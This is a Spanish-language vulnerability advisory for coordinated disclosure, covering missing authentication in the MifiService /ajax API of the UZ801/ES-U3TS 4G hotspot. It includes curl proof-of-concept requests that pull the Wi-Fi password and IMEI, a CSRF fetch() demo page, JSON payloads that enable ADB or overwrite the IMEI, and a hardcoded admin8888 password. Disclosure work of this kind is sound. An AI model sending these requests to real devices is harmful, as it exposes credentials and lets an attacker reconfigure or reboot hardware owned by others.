
Advisory de seguridad que detalla un control de acceso roto en la API web MifiService de UZ801/ES-U3TS, que permite la extracción de datos no autenticada, la modificación de configuración y el reinicio del dispositivo. Incluye PoCs y mitigaciones.
Aviso de seguridad y notas técnicas sobre un problema de control de acceso roto en la API de gestión web embebida expuesta por MifiService.apk en la plataforma OEM / marca blanca UZ801_v2.1 de Wi-Fi móvil 4G LTE, también comercializada como ES-U3TS.
Este repositorio tiene como objetivo respaldar la divulgación coordinada y la asignación de CVE. Se centra en evidencia técnica reproducible y no armamentizada.
El dispositivo afectado expone un endpoint de gestión HTTP basado en Jetty en:
http://192.168.100.1/ajax
El despachador de solicitudes del backend está implementado en:
com.mifiservice.server.AjaxSevlet
Aunque la interfaz web presenta una página de inicio de sesión, el backend no aplica una sesión autenticada válida del lado del servidor para la mayoría de las funciones de gestión. Como resultado, un atacante en la red adyacente puede invocar directamente operaciones sensibles de funcNo sin autenticación.
El impacto verificado incluye:
Se confirmaron funciones adicionales de alto riesgo mediante análisis estático, incluyendo:
El hardware probado parece pertenecer a una familia de dispositivos OEM / marca blanca. El proveedor de desarrollo original exacto es actualmente desconocido, y no se ha identificado hasta ahora ningún contacto de seguridad confiable del proveedor.
Por lo tanto, este aviso utiliza la siguiente denominación de producto:
UZ801_v2.1ES-U3TSUZ801-V3.4.3MifiService.apkcom.mifiservice.helloSi se descubre que otras marcas o revendedores distribuyen el mismo firmware, APK, recursos web y comportamiento de funcNo, deben tratarse como variantes probablemente afectadas del mismo código base.
/ajaxMifiService.apkcom.mifiservice.server.AjaxSevletEste no es principalmente un problema de credenciales predeterminadas.
La causa raíz es el control de acceso roto en la API del backend:
OriginRefererLa función de inicio de sesión existe, pero no proporciona límites de autorización significativos para la mayor parte de la API de gestión.
Vector de ataque principal:
Vector de ataque secundario:
Este no es un ataque remoto expuesto a Internet por defecto. El atacante debe:
192.168.100.1, oTodos los hallazgos a continuación se incluyen como funcionalidad afectada del mismo problema de control de acceso roto.
Cuando corresponde, cada elemento está marcado explícitamente como:
Validado en vivoConfirmado por análisis estáticoEsta distinción se conserva para mayor precisión. La funcionalidad de alto riesgo no se etiqueta erróneamente como probada en vivo cuando no se ejecutó intencionalmente en hardware público.
| funcNo | Descripción | Estado | Notas |
|---|
Al momento de redactar este documento, el dispositivo parece venderse a través de canales OEM / revendedores con marca inconsistente o ausente, y no se ha establecido ningún contacto confiable con el proveedor de desarrollo original.
Los ejemplos a continuación están intencionalmente limitados a validación de solo lectura o de bajo impacto. Se incluyen para demostrar la vulnerabilidad sin proporcionar un flujo de explotación armamentizado.
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1002}' \
http://192.168.100.1/ajax
Comportamiento esperado:
ssidpwd en texto clarocurl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1029}' \
http://192.168.100.1/ajax
Comportamiento esperado:
imeifwversionLeer el idioma actual:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1030}' \
http://192.168.100.1/ajax
Establecer idioma:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1031,"Language":"Chinese"}' \
http://192.168.100.1/ajax
Restaurar el valor original después.
Este endpoint no aplica estado de sesión ni validación de Origin / Referer. Por lo tanto, el navegador de una víctima conectada puede ser abusado para enviar solicitudes en segundo plano.
Página de demostración mínima:
<!doctype html>
<meta charset="utf-8">
<script>
fetch("http://192.168.100.1/ajax", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({funcNo: 1002})
});
</script>
Este ejemplo está intencionalmente limitado a un número de función de solo lectura. No lo implemente contra usuarios o dispositivos de producción.
Los siguientes formatos JSON están documentados únicamente para análisis defensivo y clasificación. No se acompañan aquí de pasos de ejecución.
2001 - habilitar interfaces de depuración ocultas{"funcNo":2001}
Comportamiento observado en el código:
setprop persist.sys.usb.config rndis,serial_smd,diag,adbsync2004 - ruta de sobrescritura de IMEI{"funcNo":2004,"imei":"<redacted-test-value>"}
Comportamiento observado en el código:
AT+WRIMEI=<value>No se incluye ninguna prueba pública en vivo aquí debido a preocupaciones legales, de cumplimiento e integridad del dispositivo.
1002{
"results": [
{
"dns1": "8.8.8.8",
"ssid": "4G-UFI-8E1",
"dns2": "8.8.8.8",
"mask": "255.255.255.0",
"pwd": "1234567890",
"wlan_ip": "192.168.100.1",
"IP": "192.168.100.1"
}
],
"error_info": "none",
"flag": "1"
}
1029{
"results": [
{
"manufacture": "Qualcomm Technology",
"dbm": "",
"fwversion": "V3.4.3",
"imei": "863993064154463"
}
],
"error_info": "none",
"flag": "1"
}
Este problema es un fuerte candidato a CVE porque:
Clasificación sugerida:
CWE-306 Autenticación faltante para función críticaCWE-862 Autorización faltanteCVSS sugerido:
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2026-05-112026-05-122026-05-122026-05-12funcNo sin autenticaciónOrigin y RefererEste repositorio está destinado a investigación defensiva, divulgación de vulnerabilidades y coordinación. Los ejemplos públicos están intencionalmente limitados a validación de bajo riesgo. La funcionalidad de alto riesgo se documenta solo en la medida necesaria para la remediación y la clasificación de CVE.
| funcNo | Descripción | Estado | Notas |
|---|
1002 | Leer SSID, IP del dispositivo, DNS, contraseña Wi-Fi | Validado en vivo | Devuelve la contraseña Wi-Fi en texto claro |
1009 | Leer modo de cifrado Wi-Fi y contraseña | Validado en vivo | Devuelve la contraseña Wi-Fi en texto claro |
1011 | Leer rango DHCP, DNS, lista de clientes | Validado en vivo | Útil para reconocimiento local |
1015 | Leer estado de SIM | Validado en vivo | Devuelve el estado de SIM |
1029 | Leer IMEI, firmware, fabricante, información de señal | Validado en vivo | Devuelve identidad sensible del dispositivo |
1052 | Leer modo de filtrado MAC y entradas configuradas | Validado en vivo | Filtra política y ranuras configuradas |
2002 | Leer ranura SIM activa | Validado en vivo | Expone estado de ejecución |
| funcNo | Descripción | Estado | Notas |
|---|
1004 | Cambiar modo de conexión | Confirmado estáticamente | No se observó aplicación de sesión |
1005 | Cambiar modo de red preferido | Confirmado estáticamente | Alto impacto operativo |
1007 | Cambiar SSID / número máximo de estaciones | Confirmado estáticamente | Persiste configuración y reinicia la lógica AP |
1010 | Cambiar modo de cifrado / contraseña Wi-Fi | Confirmado estáticamente | Alto impacto de confidencialidad |
1012 | Cambiar configuración relacionada con DHCP/DNS | Confirmado estáticamente | Manipulación de red local |
1016/1017/1018 | Leer / establecer / cambiar perfil APN | Confirmado estáticamente | Modificación del comportamiento WAN |
1031 | Cambiar idioma y persistir | Validado en vivo | Usado como prueba de bajo riesgo de acceso de escritura |
1053/1054/1055 | Cambiar comportamiento y entradas de filtrado MAC | Confirmado estáticamente | Manipulación del control de acceso a red |
| funcNo | Descripción | Estado | Notas |
|---|
1013 | Reiniciar dispositivo | Validado en vivo | DoS / interrupción del servicio |
1014 | Restablecer configuración de aplicación/red y reiniciar | Validado en vivo | No es un borrado completo de datos de usuario de Android |
2000 | Reiniciar al bootloader | Validado en vivo | Alto impacto operativo |
2001 | Habilitar configuración USB oculta ADB/Diag y reiniciar | Confirmado estáticamente | Ruta de mantenimiento peligrosa |
2003 | Ruta de contraseña de mantenimiento oculta | Confirmado estáticamente | Usa admin8888 codificado; el comportamiento parece parcial / residual |
2004 | Sobrescribir IMEI | Confirmado estáticamente | Llama a la ruta de comando AT; no ejecutado públicamente |